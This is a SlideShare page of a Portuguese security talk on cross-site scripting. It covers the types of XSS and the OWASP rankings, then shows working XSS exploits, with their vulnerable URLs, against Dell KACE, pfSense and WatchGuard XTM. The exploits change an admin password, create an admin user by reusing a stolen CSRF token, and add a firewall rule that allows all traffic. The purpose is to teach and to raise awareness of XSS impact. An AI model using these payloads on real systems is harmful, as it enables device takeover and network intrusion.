SlideShare a Scribd company logo
1 of 33
Download to read offline
Quem tem medo de XSS?
William Costa
Composição do XSS
Os XSS’s normalmente são divididos em 3 categorias.
Reflected XSS
Stored XSS
DOM Based XSS
Teoria
Reflected XSS
4
Quando o usuário envia uma requisição durante uma consulta em uma
pagina de pesquisa ou em uma variável.
Ex: http://www.vulneravel.com.br/noticias/?tipo=R"><script>alert("Reflected
XSS")</script>
Stored XSS
5
Isso ocorre quando o Script e salvo no servidor sendo assim carregado
a cada vez que a pagina for acessada.
Ex: Mensagem em um fórum, formulares de compras, entre outros
Após adicionar o comentário
qualquer pessoa que acesse o
Fórum recebem a tela
DOM XSS
6
O DOM XSS é quando é inserido o payload dentro de uma variável
utilizada por um script
Ex: Campos de interação em tempo real.
<img src=search onerror=alert('DOM_XSS')>
O XSS aparece no top 10 do OWASP
desde seu primeiro relatório.
7
OWASP Top 10 – 2003
Top Vulnerabilities in Web Applications
A1 Unvalidated Parameters
A2 Broken Access Control
A3 Broken Account and Session Management
A4 Cross-Site Scripting (XSS) Flaws
A5 Buffer Overflows
A6 Command Injection Flaws
A7 Error Handling Problems
A8 Insecure Use of Cryptography
A9 Remote Administration Flaws
A10 Web and Application Server Misconfiguration
Fonte:https://www.owasp.org/index.php/2004_Updates_OW
ASP_Top_Ten_Project
E após uma década ele continua
entre os 10.
8
OWASP Top 10 – 2013 (New)
A1 – Injection
A2 – Broken Authentication and Session Management
A3 – Cross-Site Scripting (XSS)
A4 – Insecure Direct Object References
A5 – Security Misconfiguration
A6 – Sensitive Data Exposure
A7 – Missing Function Level Access Control
A8 – Cross-Site Request Forgery (CSRF)
A9 – Using Known Vulnerable Components
A10 – Unvalidated Redirects and Forwards
Fonte:http://owasptop10.googlecode.com/files/OWASP Top
10 - 2013.pdf
Como são apresentadas as
Falhas de XSS:
9
Como normalmente é apresentando o Impacto do XSS:
10
Como elas deferiam ser apresentadas:
11
Quais são realmente os possíveis Impactos:
12
XSS na mídia.
13
Twitter shuts down Tweetdeck after XSS flaw leaves users vulnerable to
account hijack
Fonte: http://www.theguardian.com/technology/2014/jun/11/twitter-
tweetdeck-xss-flaw-users-vulnerable
XSS na mídia.
14
Researcher Gets $5,000 for XSS Flaw in Google Apps Admin Console
Fonte: http://www.securityweek.com/researcher-gets-5000-xss-flaw-
google-apps-admin-console
XSS na mídia.
15
Stored XSS in eBay messages filenames
Fonte: https://threatpost.com/a-year-later-xss-vulnerability-still-exists-in-
ebay/112493
Pratica
Falha #1 Dell KACE V.6.3.113397
17
Falha na pagina de criação de um Ticket.
Proteções:
Flag HttpOnly
Token CSRF
URL Vulnerável: /adminui/bug_report.php?location=/adminui/ticket.php?ID=20000<script>alert("XSS");</script>
Pagina onde ocorre a vulnerabilidade
18
Função Alvo para um ataque
19
Exploit para alteração da senha do
ADMIN.
20
document.write('<iframe width=0 height=0 name="xss“
src="https://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10"> </iframe>');
function append(senha)
{
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="se
nha123";
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0
].value="senha123";
window.frames['xss'].document.UserForm.submit();
}
setTimeout("append("timeout")",2500);
Um simples Iframe já nos possibilita a alteração de senha
do usuário administrador.
Resultado:
21
Alteração da Senha do Usuário admin para “Senha123”
Falha #2 PFSENSE V. 2.2.2
22
Falha na pagina de remoção de Captives portais.
Proteções:
Token CSRF
Checagem do Header HTTP_REFERER
URL Vulnerável:
/services_captiveportal_zones.php?act=del&zone=aaaa"><script>alert(csrfMagicToken)</script>
Pagina onde ocorre a vulnerabilidade
23
Função Alvo para um ataque
24
Exploit para criação de Usuário de
Administração.
25
document.write('<iframe width=1000 height=1000 name="xss"> </iframe>');
xss.document.write('<body><form id="CSRF"
action="http://192.168.217.100/system_usermanager.php" method="post" name="CSRF">');
xss.document.write('<input name="__csrf_magic" value=""</input>');
xss.document.write('<input name="utype" value="user"> </input>');
xss.document.write('<input name="usernamefld" value="teste"> </input>');
xss.document.write('<input name="passwordfld1" value="123456"> </input>');
xss.document.write('<input name="passwordfld2" value="123456"> </input>');
xss.document.write('<input name="groups[]" value="admins"> </input>');
xss.document.write('<input name="save" value="Save"> </input>');
xss.document.write('</form>');
xss.document.write('</body>');
window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken
;
window.frames['xss'].document.CSRF.submit();
O Exploit cria um formulário dentro da pagina vulnerável obtém o TOKEN CSRF da
mesma , envia o form para a pagina de criação de usuários “bypassando” a
proteção do HTTP_REFERER
Resultado:
26
Criação de um usuário admin de nome “teste“ e senha “123456”
Falha #3 Firewall WatchGuard
XTM V. 11.10.B473826
27
Falha na pagina de Gerenciamento de Access Point.
Proteções:
Token CSRF
Flag HttpOnly
URL Vulnerável:/network/controller/ap?action=add"</script><script>alert(“XSS”)</script>
Pagina onde ocorre a vulnerabilidade
28
Função Alvo para um ataque
29
Exploit para criação de uma
politica.
30
$.ajax({
type: "POST",
url: "https://10.0.1.1:8080/put_data/",
data:
'{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":{"__class__":"FirewallPol
icySettingsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-Rule","enabled":true,"description":"Policy
added on 2015-05-005T18:02:38-
03:00.","property":0,"type":"Firewall","firewall":"Allowed","reject_action":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any
","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-External","address_type":-
1,"tunnel_type":false,"name":"","obj":null}],"to_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","a
uth_domain":""},"display_name":"","alias_name":"Any-Trusted","address_type":-
1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always
On","app_action":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enable
d":0,"idle_timeout":180,"idle_timeout_enabled":0,"policy_sticky_timer":0,"policy_sticky_timer_enabled":0,"using_global_sticky_setting":1,"apply_o
ne_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":0,"snmp
_enabled":0,"notification_enabled":0,"notification_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_
method":0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":
0,"pbr_enabled":0,"pbr_interface":"","failover_enabled":0,"abs_policy_routing":[],"connection_rate_enabled":0,"connection_rate":100,"use_poli
cy_based_icmp":0,"pmtu_discovery":1,"time_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unr
eachable":1,"tag_list":[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag":
1,"page_firewall_proxy_aciton_obj":null,"proxy_action_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user
_hash":{},"proxy_policy_flag":false,"proxy_actions":[],"app_actions":[],"global_qos_enable":false,"port_protocol_settings":[{"protocol":"Any","port"
:""}],"proxy_type":"","multi_wan_enabled":0,"multiwan_algo":0,"ext_interfaces":[{"if_dev_name":"eth0","data":"External","name":"External","if_num"
:0}],"vif_list":[],"helper_intf_list":[],"helper_tunnel_list":[],"helper_alias_list":[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list
":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list
":[],"helper_slb_list":[],"traffic_mgmt_enabled":false,"helper_tm_actions":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_action_list":[],
"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',
contentType: "application/json; charset=UTF-8",
accept: "*/*",
dataType: "json",
Vamos usar uma função JSON que
envie via post todas informações
necessárias para criação de uma
politica que permita tudo de fora para
dentro da rede.
Resultado:
31
Criação de uma politica permitindo tudo da rede externa (ALL) para a
rede interna (ALL) com todos os protocolos (ALL).
Conclusões
32
As vulnerabilidades de XSS podem ir muito além de uma
simples mensagem na tela do usuário, podemos envolver a
criação de usuários, envio de e-mails, alterações de
configurações que tem um impacto muito maior que o
apresentado aos tomadores de decisões na área de Segurança
das Organizações.
OBRIGADO!
William Costa
Email:william.costa@gmail.com
Twitter: willcosta

More Related Content

What's hot

Bypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilBypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilWilliam Costa
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasRafael Jaques
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPFabiano Pereira
 
OWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoOWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoLuciano Monteiro da Silva
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de SegurançaAlan Carlos
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações WebCassio Ramos
 
Introdução ao Solr e Faceted Search
Introdução ao Solr e Faceted SearchIntrodução ao Solr e Faceted Search
Introdução ao Solr e Faceted SearchMichel Bottan
 
Pesquisando bilhões de documentos em milésimos de segundo
Pesquisando bilhões de documentos em milésimos de segundoPesquisando bilhões de documentos em milésimos de segundo
Pesquisando bilhões de documentos em milésimos de segundoHermano Soares
 

What's hot (17)

Bypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilBypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasil
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
THE WebSec
THE WebSecTHE WebSec
THE WebSec
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de Balas
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASP
 
OWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoOWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objeto
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Jaas apresentado
Jaas apresentadoJaas apresentado
Jaas apresentado
 
OWASP Top Ten
OWASP Top TenOWASP Top Ten
OWASP Top Ten
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
 
Introdução ao Solr e Faceted Search
Introdução ao Solr e Faceted SearchIntrodução ao Solr e Faceted Search
Introdução ao Solr e Faceted Search
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
Pesquisando bilhões de documentos em milésimos de segundo
Pesquisando bilhões de documentos em milésimos de segundoPesquisando bilhões de documentos em milésimos de segundo
Pesquisando bilhões de documentos em milésimos de segundo
 

Viewers also liked

Apresentação exploit
Apresentação exploitApresentação exploit
Apresentação exploitDenis Vieira
 
Fuzzing e segurança
Fuzzing e segurançaFuzzing e segurança
Fuzzing e segurançaDanilo Vaz
 
Falsificação de solicitação entre sites csrf.html
Falsificação de solicitação entre sites   csrf.htmlFalsificação de solicitação entre sites   csrf.html
Falsificação de solicitação entre sites csrf.htmlRafael Tavares
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2William Costa
 

Viewers also liked (6)

Apresentação exploit
Apresentação exploitApresentação exploit
Apresentação exploit
 
Exploits
ExploitsExploits
Exploits
 
Fuzzing e segurança
Fuzzing e segurançaFuzzing e segurança
Fuzzing e segurança
 
Falsificação de solicitação entre sites csrf.html
Falsificação de solicitação entre sites   csrf.htmlFalsificação de solicitação entre sites   csrf.html
Falsificação de solicitação entre sites csrf.html
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2
 
Vivendo de hacking
Vivendo de hackingVivendo de hacking
Vivendo de hacking
 

Similar to Quem tem medo do XSS ? MindThe Sec

Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxEdlaine Zamora
 
Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Luciano Gerhardt
 
XSS Desvendado
XSS DesvendadoXSS Desvendado
XSS Desvendadoricardophp
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSamyr Abdo
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Alex Hübner
 
Saindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webSaindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webIgor Carneiro
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Top 5 vulnerabilidades_em_aplicacoes_web
Top 5 vulnerabilidades_em_aplicacoes_webTop 5 vulnerabilidades_em_aplicacoes_web
Top 5 vulnerabilidades_em_aplicacoes_webLuis Asensio
 
Top 5 vulnerabilidades_em_aplicacoes_web_e_seu
Top 5 vulnerabilidades_em_aplicacoes_web_e_seuTop 5 vulnerabilidades_em_aplicacoes_web_e_seu
Top 5 vulnerabilidades_em_aplicacoes_web_e_seuLuis Asensio
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php segurosDouglas V. Pasqua
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012Marcio Cunha
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...iMasters
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOLgrupoweblovers
 

Similar to Quem tem medo do XSS ? MindThe Sec (20)

Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
 
Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
Sql injection
Sql injectionSql injection
Sql injection
 
XSS Desvendado
XSS DesvendadoXSS Desvendado
XSS Desvendado
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
 
Saindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações webSaindo do 0x0 sobre segurança em aplicações web
Saindo do 0x0 sobre segurança em aplicações web
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Web app flaws
Web app flawsWeb app flaws
Web app flaws
 
Top 5 vulnerabilidades_em_aplicacoes_web
Top 5 vulnerabilidades_em_aplicacoes_webTop 5 vulnerabilidades_em_aplicacoes_web
Top 5 vulnerabilidades_em_aplicacoes_web
 
Top 5 vulnerabilidades_em_aplicacoes_web_e_seu
Top 5 vulnerabilidades_em_aplicacoes_web_e_seuTop 5 vulnerabilidades_em_aplicacoes_web_e_seu
Top 5 vulnerabilidades_em_aplicacoes_web_e_seu
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php seguros
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOL
 

Quem tem medo do XSS ? MindThe Sec

  • 1. Quem tem medo de XSS? William Costa
  • 2. Composição do XSS Os XSS’s normalmente são divididos em 3 categorias. Reflected XSS Stored XSS DOM Based XSS
  • 4. Reflected XSS 4 Quando o usuário envia uma requisição durante uma consulta em uma pagina de pesquisa ou em uma variável. Ex: http://www.vulneravel.com.br/noticias/?tipo=R"><script>alert("Reflected XSS")</script>
  • 5. Stored XSS 5 Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada vez que a pagina for acessada. Ex: Mensagem em um fórum, formulares de compras, entre outros Após adicionar o comentário qualquer pessoa que acesse o Fórum recebem a tela
  • 6. DOM XSS 6 O DOM XSS é quando é inserido o payload dentro de uma variável utilizada por um script Ex: Campos de interação em tempo real. <img src=search onerror=alert('DOM_XSS')>
  • 7. O XSS aparece no top 10 do OWASP desde seu primeiro relatório. 7 OWASP Top 10 – 2003 Top Vulnerabilities in Web Applications A1 Unvalidated Parameters A2 Broken Access Control A3 Broken Account and Session Management A4 Cross-Site Scripting (XSS) Flaws A5 Buffer Overflows A6 Command Injection Flaws A7 Error Handling Problems A8 Insecure Use of Cryptography A9 Remote Administration Flaws A10 Web and Application Server Misconfiguration Fonte:https://www.owasp.org/index.php/2004_Updates_OW ASP_Top_Ten_Project
  • 8. E após uma década ele continua entre os 10. 8 OWASP Top 10 – 2013 (New) A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4 – Insecure Direct Object References A5 – Security Misconfiguration A6 – Sensitive Data Exposure A7 – Missing Function Level Access Control A8 – Cross-Site Request Forgery (CSRF) A9 – Using Known Vulnerable Components A10 – Unvalidated Redirects and Forwards Fonte:http://owasptop10.googlecode.com/files/OWASP Top 10 - 2013.pdf
  • 9. Como são apresentadas as Falhas de XSS: 9
  • 10. Como normalmente é apresentando o Impacto do XSS: 10
  • 11. Como elas deferiam ser apresentadas: 11
  • 12. Quais são realmente os possíveis Impactos: 12
  • 13. XSS na mídia. 13 Twitter shuts down Tweetdeck after XSS flaw leaves users vulnerable to account hijack Fonte: http://www.theguardian.com/technology/2014/jun/11/twitter- tweetdeck-xss-flaw-users-vulnerable
  • 14. XSS na mídia. 14 Researcher Gets $5,000 for XSS Flaw in Google Apps Admin Console Fonte: http://www.securityweek.com/researcher-gets-5000-xss-flaw- google-apps-admin-console
  • 15. XSS na mídia. 15 Stored XSS in eBay messages filenames Fonte: https://threatpost.com/a-year-later-xss-vulnerability-still-exists-in- ebay/112493
  • 17. Falha #1 Dell KACE V.6.3.113397 17 Falha na pagina de criação de um Ticket. Proteções: Flag HttpOnly Token CSRF URL Vulnerável: /adminui/bug_report.php?location=/adminui/ticket.php?ID=20000<script>alert("XSS");</script>
  • 18. Pagina onde ocorre a vulnerabilidade 18
  • 19. Função Alvo para um ataque 19
  • 20. Exploit para alteração da senha do ADMIN. 20 document.write('<iframe width=0 height=0 name="xss“ src="https://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10"> </iframe>'); function append(senha) { window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="se nha123"; window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0 ].value="senha123"; window.frames['xss'].document.UserForm.submit(); } setTimeout("append("timeout")",2500); Um simples Iframe já nos possibilita a alteração de senha do usuário administrador.
  • 21. Resultado: 21 Alteração da Senha do Usuário admin para “Senha123”
  • 22. Falha #2 PFSENSE V. 2.2.2 22 Falha na pagina de remoção de Captives portais. Proteções: Token CSRF Checagem do Header HTTP_REFERER URL Vulnerável: /services_captiveportal_zones.php?act=del&zone=aaaa"><script>alert(csrfMagicToken)</script>
  • 23. Pagina onde ocorre a vulnerabilidade 23
  • 24. Função Alvo para um ataque 24
  • 25. Exploit para criação de Usuário de Administração. 25 document.write('<iframe width=1000 height=1000 name="xss"> </iframe>'); xss.document.write('<body><form id="CSRF" action="http://192.168.217.100/system_usermanager.php" method="post" name="CSRF">'); xss.document.write('<input name="__csrf_magic" value=""</input>'); xss.document.write('<input name="utype" value="user"> </input>'); xss.document.write('<input name="usernamefld" value="teste"> </input>'); xss.document.write('<input name="passwordfld1" value="123456"> </input>'); xss.document.write('<input name="passwordfld2" value="123456"> </input>'); xss.document.write('<input name="groups[]" value="admins"> </input>'); xss.document.write('<input name="save" value="Save"> </input>'); xss.document.write('</form>'); xss.document.write('</body>'); window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken ; window.frames['xss'].document.CSRF.submit(); O Exploit cria um formulário dentro da pagina vulnerável obtém o TOKEN CSRF da mesma , envia o form para a pagina de criação de usuários “bypassando” a proteção do HTTP_REFERER
  • 26. Resultado: 26 Criação de um usuário admin de nome “teste“ e senha “123456”
  • 27. Falha #3 Firewall WatchGuard XTM V. 11.10.B473826 27 Falha na pagina de Gerenciamento de Access Point. Proteções: Token CSRF Flag HttpOnly URL Vulnerável:/network/controller/ap?action=add"</script><script>alert(“XSS”)</script>
  • 28. Pagina onde ocorre a vulnerabilidade 28
  • 29. Função Alvo para um ataque 29
  • 30. Exploit para criação de uma politica. 30 $.ajax({ type: "POST", url: "https://10.0.1.1:8080/put_data/", data: '{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":{"__class__":"FirewallPol icySettingsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-Rule","enabled":true,"description":"Policy added on 2015-05-005T18:02:38- 03:00.","property":0,"type":"Firewall","firewall":"Allowed","reject_action":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any ","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-External","address_type":- 1,"tunnel_type":false,"name":"","obj":null}],"to_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","a uth_domain":""},"display_name":"","alias_name":"Any-Trusted","address_type":- 1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always On","app_action":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enable d":0,"idle_timeout":180,"idle_timeout_enabled":0,"policy_sticky_timer":0,"policy_sticky_timer_enabled":0,"using_global_sticky_setting":1,"apply_o ne_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":0,"snmp _enabled":0,"notification_enabled":0,"notification_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_ method":0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority": 0,"pbr_enabled":0,"pbr_interface":"","failover_enabled":0,"abs_policy_routing":[],"connection_rate_enabled":0,"connection_rate":100,"use_poli cy_based_icmp":0,"pmtu_discovery":1,"time_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unr eachable":1,"tag_list":[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag": 1,"page_firewall_proxy_aciton_obj":null,"proxy_action_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user _hash":{},"proxy_policy_flag":false,"proxy_actions":[],"app_actions":[],"global_qos_enable":false,"port_protocol_settings":[{"protocol":"Any","port" :""}],"proxy_type":"","multi_wan_enabled":0,"multiwan_algo":0,"ext_interfaces":[{"if_dev_name":"eth0","data":"External","name":"External","if_num" :0}],"vif_list":[],"helper_intf_list":[],"helper_tunnel_list":[],"helper_alias_list":[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list ":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list ":[],"helper_slb_list":[],"traffic_mgmt_enabled":false,"helper_tm_actions":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_action_list":[], "rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}', contentType: "application/json; charset=UTF-8", accept: "*/*", dataType: "json", Vamos usar uma função JSON que envie via post todas informações necessárias para criação de uma politica que permita tudo de fora para dentro da rede.
  • 31. Resultado: 31 Criação de uma politica permitindo tudo da rede externa (ALL) para a rede interna (ALL) com todos os protocolos (ALL).
  • 32. Conclusões 32 As vulnerabilidades de XSS podem ir muito além de uma simples mensagem na tela do usuário, podemos envolver a criação de usuários, envio de e-mails, alterações de configurações que tem um impacto muito maior que o apresentado aos tomadores de decisões na área de Segurança das Organizações.